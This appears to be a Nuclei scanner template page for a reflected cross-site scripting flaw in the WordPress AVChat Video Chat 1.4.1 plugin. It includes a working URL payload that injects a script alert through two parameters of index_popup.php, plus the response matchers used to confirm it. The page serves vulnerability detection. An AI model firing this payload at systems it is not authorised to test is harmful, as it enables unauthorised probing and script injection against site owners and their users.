WordPress AVChat Video Chat 1.4.1 - Cross-Site Scripting

ID: avchat-video-chat-xss

Severity: medium

Author: DhiyaneshDK

Tags: xss,wp,wpscan,wordpress,wp-plugin

Description

WordPress AVChat Video Chat 1.4.1 is vulnerable to reflected cross-site scripting via index_popup.php and multiple parameters.

YAML Source

id: avchat-video-chat-xss

info:
  name: WordPress AVChat Video Chat 1.4.1 - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    WordPress AVChat Video Chat 1.4.1 is vulnerable to reflected cross-site scripting via index_popup.php and multiple parameters.
  reference:
    - https://codevigilant.com/disclosure/wp-plugin-avchat-3-a3-cross-site-scripting-xss/
    - https://wpscan.com/vulnerability/fce99c82-3958-4c17-88d3-6e8fa1a11e59
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    verified: true
    max-request: 1
  tags: xss,wp,wpscan,wordpress,wp-plugin

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/avchat-3/index_popup.php?movie_param=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&FB_appId=FB_appId%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value="FB_appId"><script>alert(document.domain)</script>"'

      - type: word
        words:
          - 'text/html'
        part: header

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100881bb7354ac707d4f5e9073d1daa166da87828e8510e947ab4fe6b41b7ce4459022100c557b6e4c857c0f293535188b70f950c3af3691ddc8b41de841f84a4c80fa4f8:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/avchat-video-chat-xss.yaml"

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